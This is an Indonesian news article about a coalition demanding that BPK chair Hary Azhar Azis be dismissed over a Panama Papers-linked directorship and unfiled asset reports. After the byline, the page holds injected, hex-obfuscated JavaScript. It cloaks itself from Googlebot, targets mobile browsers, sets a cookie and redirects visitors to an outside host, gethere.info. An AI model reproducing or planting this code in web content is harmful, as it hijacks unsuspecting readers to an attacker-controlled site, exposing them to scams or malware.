Koalisi Selamatkan BPK , Minta Hary ( Ketua BPK ) Di Pecat

bebas bayar, pembayaran mudah dan cepat, transaksi online, pembayaran tagihan dan tiket, transfer dana online

photo_2016-04-26_12-53-55Forum Nusantara news.com. BPK RI badan pemeriksa keuangan Republik Indonesia adalah satu-satunya lembaga negara yang mempunyai tugas dan wewenang untuk melakukan pemeriksaan terhadap pengelolaan akan keuangan negara.akan tetapi apa jadinya kalau oknum yang ada didalamnya mbalelo ( tak patuh ) akan Undang-undang dan kode etik dalam menjalankan profesinya

Apa lagi kalu hal itu dilakukan oleh ketua atau pimpinan dari lembaga tersebut,lantas dimana, integritas dan kredibilitas serta tanggung jawab moralnya kepada masyarakat dan lembaga selaku pejabat negara

Al hasil kemarin 26/04 lintas organisasi sipil yang menamkan dirinya KOALISI SELMATKAN BPK ramai ramai geruduk gedung BPK RI untuk melaporkan Hary selaku ketua BPK RI atas dugaan pelanggaran kode etik.

kolalisi yang terdiri dari Agus Sunaryanto ICW, Ahmad Hanafi IPC,Mujtaba Hamdi MEDIA LINK, La Ode Salama,IBC,Dan Dony Setiawan dari PERKUMPULAN INISIATIF ini menemukan indikasi adanya tiga pelanggaran yang dilakukan oleh  Hary, pertama hary diduga merangkap jabatan sebagai direktur di perusahaan Sheng Yue walaupun dia telah diangkat sebagai ketua BPK RI,kedua hary telah dianggap tidak jujur dalam menyampaikan informasi tentang status kepemilikanya dengan jabatan sebagai direktur di perusahaan sheng yue,dan yang ketiga hary dianggap tidak patuh akan Undang-Undang karena belum melaporkan LHKPN ( Laporan Harta Kekayaan Penyelenggara Negara ) kepada KPK.

sebelumnya,Hary merupakan seorang Politisi  dari Partai Golkar, dengan jabatan terakirnya sebagai Wakil Ketua Komosi XI yang membidangi ( Keuangan Negara, Perbankan dan Perencanaan Pembangunan ) DPR RI Periode 2009 – 2014.sebelum dilantik sebagai Ketua BPK RI 28/10/2014 Hary sempat menyatakan dihadapan Media bahwa dirinya telah mengundurkan diri sebagai anggota Partai berlogo PohonBeringin itu. Hary juga mengatakan ” BPK memiliki Majelis Etik yang akan memantau tindakan pegawai hingga pejabat Tinggi, kalau saya melanggar Kode Etik silakan pecat saya ” ujarnya.

Ironisnya pada April 2016 Organisasi Wartawan Investigasi Global ( ICIJ ) merilis Panama Papers secara serentak diseluruh Dunia. Dokumen yang bersumber dari bocoran data Mossack Fonseca ini Menyangkut 11,5 Juta dokumen daftar nama Klien Fonseca dari berbagai Negara termasuk Indonesia.

Daftar Nama – nama Klien dari Fonseca ini adalah daftar orang – orang yang diduga berupaya untuk menyembunyikan harta kekayaannya dari kejaran petugas Pajak dinegaranya masing-masing, dan salah satunya adalah Hary Azhar Azis,Ketua BPK yang memiliki perusahaan Sheng Yue sejak Tahun 2010.

walaupun sempat membantah, Hary akirnya mengakui keberadaan dirinya diperusahaan itu, dengan alasan bahwa “perusahaan Sheng Yue ini semula akan digunakan untuk menjalankan usaha anak dan keluarganya”. sedangkan dia sendiri menjabat sebagai Direktur diperusahaan itu.dan mengklaim kalau Proses pengunduran dirinya selaku Direktur Sheng Yue terbentur kesibukanya dan baru bisa direalisasikan pada akhir 2015.

Dengan pernyataan tersebut maka secara hukum Hary, sejak dilantik sebagai Ketua BPK RI pada tanggal 28/10/2014 hingga akir 2015 memiliki pekerjaan lain dan dapat dikategorikan telah merangkap Jabatan sebagai Direktur Perusahaan Sheng Yue dan telah melanggar akan Pasal 8 Ayat 2 huruf D peraturan BPK No.2 Tahun 2011 yang menyatakan ” Anggota BPK selaku Pejabat Negara dilarang menjalankan pekerjaan dan profesi lain yang dapat mengganggu independensi,integritas,dan profesionalismenya selaku anggota BPK”

Sejak menjabat sebagai Ketua BPK dari tahun 2014, Hary belum pernah Melaporkan harta Kekayannya kepada KPK. dan berdasarkan data KPK, Hary hanya dua kali melaporkan harta kekayaannya, yaitu pada saat masih menjadi anggota DPR pada tahun 2003 dengan total nilai kekayaan mencapai Rp. 1,095 Miliar dan US$. 11.344 dengan rincian delapan bidang tanah dan bangunan yang tersebar di Jakarta Timur,Depok,Bogor,hingga Kabupaten Padang Pariaman, Sumatera Barat.

Sedangkan Laporan ke dua yaitu pada Tahun 2010 dengan total harta mencapai 9,93 miliar dan US$ 680. dan ada penambahan aset berupa tanah dan bangunan sebanyak 12 bidang dengan total nominal 2,4 miliar.jumlah kendaraan yang dimilikinya pun bertambah dari dua yunit menjadi enam yunit senilai Rp.755 juta.

Dengan alasan – alasan tersebut KOALISI SELAMATKAN BPK, merekomendasikan dan meminta kepada Majelis Kehormatan Kode Etik BPK  (MKKE) BPK RI untuk memberhentikan Hary secara tidak hormat selaku Ketua BPK.hal itu juga sesuai janji dari Hary sendiri dihadapan Wartawan seusai dilantik sebagai ketua BPK 28/10/14 lalu,yang intinya siap dipecat apabila melanggar kode etik.

Adapun pihak BPK RI melalui Kepala Bagian Hubungan Antar Lembaga Rati Dewi Puspita mengatakan”kami akan menindak lanjuti laporan tersebut” ucapnya.
( Jun LN )

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *